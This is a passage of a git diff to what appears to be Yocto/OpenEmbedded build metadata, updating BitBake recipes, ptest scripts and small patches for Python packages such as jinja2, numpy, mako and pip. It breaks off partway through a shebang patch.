diff --git a/meta/recipes-devtools/python/python3-jinja2_3.0.3.bb b/meta/recipes-devtools/python/python3-jinja2_3.0.3.bb
new file mode 100644
index 0000000000..c416acbf92
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jinja2_3.0.3.bb
@@ -0,0 +1,48 @@
+DESCRIPTION = "Python Jinja2: A small but fast and easy to use stand-alone template engine written in pure python."
+HOMEPAGE = "https://pypi.org/project/Jinja/"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=5dc88300786f1c214c1e9827a5229462"
+
+SRC_URI[sha256sum] = "611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7"
+
+PYPI_PACKAGE = "Jinja2"
+
+CVE_PRODUCT = "jinja2 jinja"
+
+CLEANBROKEN = "1"
+
+inherit pypi setuptools3
+inherit ${@bb.utils.filter('DISTRO_FEATURES', 'ptest', d)}
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ ${PYTHON_PN}-toml \
+ ${PYTHON_PN}-unixadmin \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-asyncio \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-markupsafe \
+ ${PYTHON_PN}-math \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-numbers\
+ ${PYTHON_PN}-pickle \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jsonpointer/run-ptest b/meta/recipes-devtools/python/python3-jsonpointer/run-ptest
new file mode 100644
index 0000000000..51e609f4ba
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonpointer/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+python3 tests.py
diff --git a/meta/recipes-devtools/python/python3-jsonpointer_2.2.bb b/meta/recipes-devtools/python/python3-jsonpointer_2.2.bb
new file mode 100644
index 0000000000..225fde7556
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonpointer_2.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Resolve JSON Pointers in Python"
+HOMEPAGE = "https://github.com/stefankoegl/python-json-pointer"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=32b15c843b7a329130f4e266a281ebb3"
+
+inherit pypi ptest setuptools3
+
+SRC_URI[sha256sum] = "f09f8deecaaa5aea65b5eb4f67ca4e54e1a61f7a11c75085e360fe6feb6a48bf"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-json \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ cp -f ${S}/tests.py ${D}${PTEST_PATH}/
+}
diff --git a/meta/recipes-devtools/python/python3-jsonschema_4.4.0.bb b/meta/recipes-devtools/python/python3-jsonschema_4.4.0.bb
new file mode 100644
index 0000000000..4c14229641
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonschema_4.4.0.bb
@@ -0,0 +1,48 @@
+SUMMARY = "An implementation of JSON Schema validation for Python"
+HOMEPAGE = "https://github.com/Julian/jsonschema"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7a60a81c146ec25599a3e1dabb8610a8 \
+ file://json/LICENSE;md5=9d4de43111d33570c8fe49b4cb0e01af"
+
+SRC_URI[sha256sum] = "636694eb41b3535ed608fe04129f26542b59ed99808b4f688aa32dcf55317a83"
+
+inherit pypi setuptools_build_meta
+
+DEPENDS += "${PYTHON_PN}-vcversioner-native ${PYTHON_PN}-setuptools-scm-native"
+
+PACKAGECONFIG ??= "format"
+PACKAGECONFIG[format] = ",,,\
+ ${PYTHON_PN}-idna \
+ ${PYTHON_PN}-jsonpointer \
+ ${PYTHON_PN}-webcolors \
+ ${PYTHON_PN}-rfc3987 \
+ ${PYTHON_PN}-strict-rfc3339 \
+"
+PACKAGECONFIG[nongpl] = ",,,\
+ ${PYTHON_PN}-idna \
+ ${PYTHON_PN}-jsonpointer \
+ ${PYTHON_PN}-webcolors \
+ ${PYTHON_PN}-rfc3986-validator \
+ ${PYTHON_PN}-rfc3339-validator \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-attrs \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-importlib-metadata \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-pkgutil \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-pyrsistent \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-six \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-setuptools-scm \
+ ${PYTHON_PN}-zipp \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-libarchive-c_4.0.bb b/meta/recipes-devtools/python/python3-libarchive-c_4.0.bb
new file mode 100644
index 0000000000..3c6bc1e1ca
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-libarchive-c_4.0.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Python interface to libarchive"
+DESCRIPTION = "A Python interface to libarchive. It uses the standard ctypes module to \
+ dynamically load and access the C library."
+HOMEPAGE = "https://github.com/Changaco/python-libarchive-c"
+LICENSE = "CC0-1.0"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=bcab380227a83bc147350b40a81e6ffc"
+
+PYPI_PACKAGE = "libarchive-c"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "a5b41ade94ba58b198d778e68000f6b7de41da768de7140c984f71d7fa8416e5"
+
+RDEPENDS:${PN} += "\
+ libarchive \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-mmap \
+ ${PYTHON_PN}-logging \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-magic_0.4.25.bb b/meta/recipes-devtools/python/python3-magic_0.4.25.bb
new file mode 100644
index 0000000000..efc8b6daaa
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-magic_0.4.25.bb
@@ -0,0 +1,22 @@
+SUMMARY = "File type identification using libmagic"
+DESCRIPTION = "This module uses ctypes to access the libmagic file type \
+ identification library. It makes use of the local magic database and supports \
+ both textual and MIME-type output."
+HOMEPAGE = "http://github.com/ahupp/python-magic"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=61495c152d794e6be5799a9edca149e3"
+
+PYPI_PACKAGE = "python-magic"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "21f5f542aa0330f5c8a64442528542f6215c8e18d2466b399b0d9d39356d83fc"
+
+RDEPENDS:${PN} += "file \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-logging \
+ ${PYTHON_PN}-shell"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-mako_1.1.0.bb b/meta/recipes-devtools/python/python3-mako_1.1.0.bb
deleted file mode 100644
index b139e5ab00..0000000000
--- a/meta/recipes-devtools/python/python3-mako_1.1.0.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Templating library for Python"
-HOMEPAGE = "http://www.makotemplates.org/"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=df7e6c7c82990acf0228a55e00d29bc9"
-
-PYPI_PACKAGE = "Mako"
-
-inherit pypi setuptools3
-
-SRC_URI[md5sum] = "6c3f2da0b74af529a4c4a537d0848bf2"
-SRC_URI[sha256sum] = "a36919599a9b7dc5d86a7a8988f23a9a3a3d083070023bab23d64f7f1d1e0a4b"
-
-RDEPENDS_${PN} = "${PYTHON_PN}-html \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-threading \
-"
-
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-mako_1.1.6.bb b/meta/recipes-devtools/python/python3-mako_1.1.6.bb
new file mode 100644
index 0000000000..23e13cff94
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-mako_1.1.6.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Templating library for Python"
+HOMEPAGE = "http://www.makotemplates.org/"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=943eb67718222db21d44a4ef1836675f"
+
+PYPI_PACKAGE = "Mako"
+
+inherit pypi setuptools_build_meta
+
+SRC_URI[sha256sum] = "4e9e345a41924a954251b95b4b28e14a301145b544901332e658907a7464b6b2"
+
+RDEPENDS:${PN} = "${PYTHON_PN}-html \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-markdown_3.3.6.bb b/meta/recipes-devtools/python/python3-markdown_3.3.6.bb
new file mode 100644
index 0000000000..a46a9ae066
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markdown_3.3.6.bb
@@ -0,0 +1,13 @@
+SUMMARY = "A Python implementation of John Gruber's Markdown."
+HOMEPAGE = "https://python-markdown.github.io/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=745aaad0c69c60039e638bff9ffc59ed"
+
+inherit pypi setuptools_build_meta
+
+PYPI_PACKAGE = "Markdown"
+SRC_URI[sha256sum] = "76df8ae32294ec39dcf89340382882dfa12975f87f45c3ed1ecdb1e8cefc7006"
+
+BBCLASSEXTEND = "native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-logging ${PYTHON_PN}-setuptools"
diff --git a/meta/recipes-devtools/python/python3-markupsafe/run-ptest b/meta/recipes-devtools/python/python3-markupsafe/run-ptest
new file mode 100644
index 0000000000..5cec711696
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markupsafe/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest
diff --git a/meta/recipes-devtools/python/python3-markupsafe_2.1.0.bb b/meta/recipes-devtools/python/python3-markupsafe_2.1.0.bb
new file mode 100644
index 0000000000..953ea01cfe
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markupsafe_2.1.0.bb
@@ -0,0 +1,27 @@
+DESCRIPTION = "Implements a XML/HTML/XHTML Markup safe string for Python"
+HOMEPAGE = "http://github.com/mitsuhiko/markupsafe"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=ffeffa59c90c9c4a033c7574f8f3fb75"
+
+SRC_URI[sha256sum] = "80beaf63ddfbc64a0452b841d8036ca0611e049650e20afcb882f5d3c266d65f"
+
+PYPI_PACKAGE = "MarkupSafe"
+inherit pypi setuptools3
+inherit ${@bb.utils.filter('DISTRO_FEATURES', 'ptest', d)}
+
+RDEPENDS:${PN} += "${PYTHON_PN}-stringold"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -f ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
diff --git a/meta/recipes-devtools/python/python3-more-itertools/run-ptest b/meta/recipes-devtools/python/python3-more-itertools/run-ptest
new file mode 100644
index 0000000000..3385d68939
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-more-itertools/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb b/meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb
new file mode 100644
index 0000000000..c1e34b205d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb
@@ -0,0 +1,27 @@
+DESCRIPTION = "More routines for operating on iterables, beyond itertools"
+HOMEPAGE = "https://github.com/erikrose/more-itertools"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3396ea30f9d21389d7857719816f83b5"
+
+SRC_URI[sha256sum] = "7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-asyncio \
+ "
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ "
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-nose_1.3.7.bb b/meta/recipes-devtools/python/python3-nose_1.3.7.bb
deleted file mode 100644
index 13dbf96179..0000000000
--- a/meta/recipes-devtools/python/python3-nose_1.3.7.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-inherit setuptools3
-require python-nose.inc
diff --git a/meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch b/meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
index 98a9705831..9f5f25f9b5 100644
--- a/meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
+++ b/meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch
@@ -1,4 +1,4 @@
-From 672a75c8417ce08db9e31fc415ec445479231d5a Mon Sep 17 00:00:00 2001
+From 27f6687e49bf555fc494d2f14bae6ecd0fa30f14 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 10 Dec 2015 13:20:30 +0200
Subject: [PATCH] Don't search /usr and so on for libraries by default to
@@ -8,24 +8,23 @@ Subject: [PATCH] Don't search /usr and so on for libraries by default to
Upstream-Status: Inappropriate (As the code stands, this is a hack)
Signed-off-by: Ross Burton <ross.burton@intel.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
- numpy/distutils/system_info.py | 42 ++++------------------------------
- 1 file changed, 5 insertions(+), 37 deletions(-)
+ numpy/distutils/system_info.py | 42 +++++-----------------------------
+ 1 file changed, 6 insertions(+), 36 deletions(-)
diff --git a/numpy/distutils/system_info.py b/numpy/distutils/system_info.py
-index ba2b1f4..f94dce1 100644
+index 82e864a..135246d 100644
--- a/numpy/distutils/system_info.py
+++ b/numpy/distutils/system_info.py
-@@ -278,45 +278,13 @@ if sys.platform == 'win32':
- add_system_root(os.path.join(conda_dir, 'Library'))
+@@ -323,44 +323,14 @@ if sys.platform == 'win32':
+ add_system_root(os.path.join(conda_dir, 'Library'))
else:
- default_lib_dirs = libpaths(['/usr/local/lib', '/opt/lib', '/usr/lib',
- '/opt/local/lib', '/sw/lib'], platform_bits)
default_runtime_dirs = []
- default_include_dirs = ['/usr/local/include',
-- '/opt/include', '/usr/include',
+- '/opt/include',
- # path of umfpack under macports
- '/opt/local/include/ufsparse',
- '/opt/local/include', '/sw/include',
@@ -34,8 +33,7 @@ index ba2b1f4..f94dce1 100644
-
- default_x11_lib_dirs = libpaths(['/usr/X11R6/lib', '/usr/X11/lib',
- '/usr/lib'], platform_bits)
-- default_x11_include_dirs = ['/usr/X11R6/include', '/usr/X11/include',
-- '/usr/include']
+- default_x11_include_dirs = ['/usr/X11R6/include', '/usr/X11/include']
-
- if os.path.exists('/usr/lib/X11'):
- globbed_x11_dir = glob('/usr/lib/*/libX11.so')
@@ -59,12 +57,16 @@ index ba2b1f4..f94dce1 100644
- # gcc supports the "-print-multiarch" option
- default_x11_lib_dirs += [os.path.join("/usr/lib/", triplet)]
- default_lib_dirs += [os.path.join("/usr/lib/", triplet)]
+
+ default_lib_dirs = libpaths(['/deadir/lib'], platform_bits)
+ default_include_dirs = ['/deaddir/include']
+ default_src_dirs = ['.', '/deaddir/src']
-
++
+ default_x11_lib_dirs = libpaths(['/deaddir/lib'], platform_bits)
+ default_x11_include_dirs = ['/deaddir/include']
if os.path.join(sys.prefix, 'lib') not in default_lib_dirs:
default_lib_dirs.insert(0, os.path.join(sys.prefix, 'lib'))
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch b/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch
new file mode 100644
index 0000000000..676bdbb3af
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch
@@ -0,0 +1,50 @@
+From eb6d6579150bf4684603ce377c51e90ad3bb8109 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 15 Nov 2020 15:32:39 -0800
+Subject: [PATCH] numpy/core: Define RISCV-32 support
+
+Helps compile on riscv32
+
+Upstream-Status: Submitted [https://github.com/numpy/numpy/pull/17780]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ numpy/core/include/numpy/npy_cpu.h | 3 +++
+ numpy/core/include/numpy/npy_endian.h | 1 +
+ 2 files changed, 4 insertions(+)
+
+diff --git a/numpy/core/include/numpy/npy_cpu.h b/numpy/core/include/numpy/npy_cpu.h
+index 78d229e..04be511 100644
+--- a/numpy/core/include/numpy/npy_cpu.h
++++ b/numpy/core/include/numpy/npy_cpu.h
+@@ -19,6 +19,7 @@
+ * NPY_CPU_ARCEB
+ * NPY_CPU_RISCV64
+ * NPY_CPU_LOONGARCH
++ * NPY_CPU_RISCV32
+ * NPY_CPU_WASM
+ */
+ #ifndef NUMPY_CORE_INCLUDE_NUMPY_NPY_CPU_H_
+@@ -104,6 +105,8 @@
+ #define NPY_CPU_ARCEB
+ #elif defined(__riscv) && defined(__riscv_xlen) && __riscv_xlen == 64
+ #define NPY_CPU_RISCV64
++#elif defined(__riscv) && defined(__riscv_xlen) && __riscv_xlen == 32
++ #define NPY_CPU_RISCV32
+ #elif defined(__loongarch__)
+ #define NPY_CPU_LOONGARCH
+ #elif defined(__EMSCRIPTEN__)
+diff --git a/numpy/core/include/numpy/npy_endian.h b/numpy/core/include/numpy/npy_endian.h
+index 5e58a7f..0926212 100644
+--- a/numpy/core/include/numpy/npy_endian.h
++++ b/numpy/core/include/numpy/npy_endian.h
+@@ -49,6 +49,7 @@
+ || defined(NPY_CPU_PPC64LE) \
+ || defined(NPY_CPU_ARCEL) \
+ || defined(NPY_CPU_RISCV64) \
++ || defined(NPY_CPU_RISCV32) \
+ || defined(NPY_CPU_LOONGARCH) \
+ || defined(NPY_CPU_WASM)
+ #define NPY_BYTE_ORDER NPY_LITTLE_ENDIAN
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/python/python3-numpy/run-ptest b/meta/recipes-devtools/python/python3-numpy/run-ptest
new file mode 100644
index 0000000000..9a1c72aeb1
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy/run-ptest
@@ -0,0 +1,5 @@
+#!/usr/bin/env python3
+
+import numpy
+numpy.test(label='full', verbose=2)
+
diff --git a/meta/recipes-devtools/python/python3-numpy_1.22.3.bb b/meta/recipes-devtools/python/python3-numpy_1.22.3.bb
new file mode 100644
index 0000000000..b5b1c4e714
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy_1.22.3.bb
@@ -0,0 +1,72 @@
+SUMMARY = "A sophisticated Numeric Processing Package for Python"
+HOMEPAGE = "https://numpy.org/"
+DESCRIPTION = "NumPy is the fundamental package needed for scientific computing with Python."
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause & BSD-2-Clause & PSF-2.0 & Apache-2.0 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=8026691468924fb6ec155dadfe2a1a7f"
+
+SRCNAME = "numpy"
+
+SRC_URI = "https://github.com/${SRCNAME}/${SRCNAME}/releases/download/v${PV}/${SRCNAME}-${PV}.tar.gz \
+ file://0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch \
+ file://0001-numpy-core-Define-RISCV-32-support.patch \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "a906c0b4301a3d62ccf66d058fe779a65c1c34f6719ef2058f96e1856f48bca5"
+
+UPSTREAM_CHECK_URI = "https://github.com/numpy/numpy/releases"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
+
+DEPENDS += "python3-cython-native"
+
+inherit ptest setuptools3
+
+S = "${WORKDIR}/numpy-${PV}"
+
+CLEANBROKEN = "1"
+
+do_compile:prepend() {
+ export NPY_DISABLE_SVML=1
+}
+
+# Unfortunately the following pyc files are non-deterministc due to 'frozenset'
+# being written without strict ordering, even with PYTHONHASHSEED = 0
+# Upstream is discussing ways to solve the issue properly, until then let's
+# just not install the problematic files.
+# More info: http://benno.id.au/blog/2013/01/15/python-determinism
+do_install:append() {
+ rm ${D}${PYTHON_SITEPACKAGES_DIR}/numpy/typing/tests/data/pass/__pycache__/literal.cpython*
+}
+
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/numpy/core/lib/*.a ${PYTHON_SITEPACKAGES_DIR}/numpy/random/lib/*.a"
+
+# install what is needed for numpy.test()
+RDEPENDS:${PN} = "${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-difflib \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-pickle \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-doctest \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-distutils \
+ ${PYTHON_PN}-misc \
+ ${PYTHON_PN}-mmap \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-pydoc \
+ ${PYTHON_PN}-pkgutil \
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-compression \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-threading \
+ ${PYTHON_PN}-multiprocessing \
+ ${PYTHON_PN}-json \
+"
+RDEPENDS:${PN}-ptest += "${PYTHON_PN}-pytest \
+ ${PYTHON_PN}-hypothesis \
+ ${PYTHON_PN}-sortedcontainers \
+ ${PYTHON_PN}-resource \
+ ldd \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-packaging_21.3.bb b/meta/recipes-devtools/python/python3-packaging_21.3.bb
new file mode 100644
index 0000000000..a81fd94d37
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-packaging_21.3.bb
@@ -0,0 +1,12 @@
+DESCRIPTION = "Core utilities for Python packages"
+HOMEPAGE = "https://github.com/pypa/packaging"
+LICENSE = "Apache-2.0 | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=faadaedca9251a90b205c9167578ce91"
+
+SRC_URI[sha256sum] = "dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb"
+
+inherit pypi setuptools_build_meta
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-pyparsing"
diff --git a/meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb b/meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb
new file mode 100644
index 0000000000..673b5c7ef0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb
@@ -0,0 +1,12 @@
+DESCRIPTION = "Object-oriented filesystem paths"
+HOMEPAGE = "https://github.com/mcmtroffaes/pathlib2"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=2dc08586cce3ab91bfa091b655c0e440"
+
+SRC_URI[sha256sum] = "7a4329d67beff9a712e1d3ae147e4e3e108b0bfd284ffdea03a635126c76b3c0"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "${PYTHON_PN}-six ${PYTHON_PN}-ctypes"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pbr/0001-change-shebang-to-python3.patch b/meta/recipes-devtools/python/python3-pbr/0001-change-shebang-to-python3.patch
new file mode 100644
index 0000000000..688da6b204
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pbr/0001-change-shebang-to-python3.patch
@@ -0,0 +1,42 @@
+From 09bd8368bf0d5385663a10eeb890131481681bdd Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Thu, 23 Apr 2020 09:28:58 +0000
+Subject: [PATCH] change shebang to python3
+
+Upstream-Status: Pending
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ pbr/tests/test_integration.py | 2 +-
+ pbr/tests/test_packaging.py | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/pbr/tests/test_integration.py b/pbr/tests/test_integration.py
+index 8e96f21..b07cbe3 100644
+--- a/pbr/tests/test_integration.py
++++ b/pbr/tests/test_integration.py
+@@ -150,7 +150,7 @@ class TestInstallWithoutPbr(base.BaseTestCase):
+ pkgs = {
+ 'pkgTest': {
+ 'setup.py': textwrap.dedent("""\
+- #!/usr/bin/env python
++ #!/usr/bin/env python3
+ import setuptools
+ setuptools.setup(
+ name = 'pkgTest',
+diff --git a/pbr/tests/test_packaging.py b/pbr/tests/test_packaging.py
+index 07be547..f6a9412 100644
+--- a/pbr/tests/test_packaging.py
++++ b/pbr/tests/test_packaging.py
+@@ -206,7 +206,7 @@ class CreatePackages(fixtures.Fixture):
+
+ defaults = {
+ 'setup.py': textwrap.dedent(six.u("""\
+- #!/usr/bin/env python
++ #!/usr/bin/env python3
+ import setuptools
+ setuptools.setup(
+ setup_requires=['pbr'],
+--
+2.24.1
+
diff --git a/meta/recipes-devtools/python/python3-pbr_5.4.3.bb b/meta/recipes-devtools/python/python3-pbr_5.4.3.bb
deleted file mode 100644
index e7835e7a97..0000000000
--- a/meta/recipes-devtools/python/python3-pbr_5.4.3.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-inherit setuptools3
-require python-pbr.inc
-
-SRC_URI[md5sum] = "477d2aa285ad97250a172b199f4060b7"
-SRC_URI[sha256sum] = "2c8e420cd4ed4cec4e7999ee47409e876af575d4c35a45840d59e8b5f3155ab8"
diff --git a/meta/recipes-devtools/python/python3-pbr_5.8.1.bb b/meta/recipes-devtools/python/python3-pbr_5.8.1.bb
new file mode 100644
index 0000000000..c8664018fa
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pbr_5.8.1.bb
@@ -0,0 +1,4 @@
+inherit setuptools3
+require python-pbr.inc
+
+SRC_URI[sha256sum] = "66bc5a34912f408bb3925bf21231cb6f59206267b7f63f3503ef865c1a292e25"
diff --git a/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch b/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch
new file mode 100644
index 0000000000..d6c27b8461
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch
@@ -0,0 +1,115 @@
+From dca973830d4eee3e0f79e61237c44a9dd8201641 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <trevor.gamblin@windriver.com>
+Date: Tue, 22 Jun 2021 12:31:46 -0400
+Subject: [PATCH] change shebang to python3
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Despite no longer supporting python2, some files in the pip source refer
+to "python" instead of "python3", so patch them as needed to ensure that
+they correctly reference the python3 binary.
+
+Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
+
+---
+ src/pip/_vendor/chardet/langbulgarianmodel.py | 2 +-
+ src/pip/_vendor/chardet/langgreekmodel.py | 2 +-
+ src/pip/_vendor/chardet/langhebrewmodel.py | 2 +-
+ src/pip/_vendor/chardet/langhungarianmodel.py | 2 +-
+ src/pip/_vendor/chardet/langrussianmodel.py | 2 +-
+ src/pip/_vendor/chardet/langthaimodel.py | 2 +-
+ src/pip/_vendor/chardet/langturkishmodel.py | 2 +-
+ src/pip/_vendor/chardet/metadata/languages.py | 2 +-
+ src/pip/_vendor/requests/certs.py | 2 +-
+ 9 files changed, 9 insertions(+), 9 deletions(-)
+
+diff --git a/src/pip/_vendor/chardet/langbulgarianmodel.py b/src/pip/_vendor/chardet/langbulgarianmodel.py
+index e963a50..97ea6ce 100644
+--- a/src/pip/_vendor/chardet/langbulgarianmodel.py
++++ b/src/pip/_vendor/chardet/langbulgarianmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
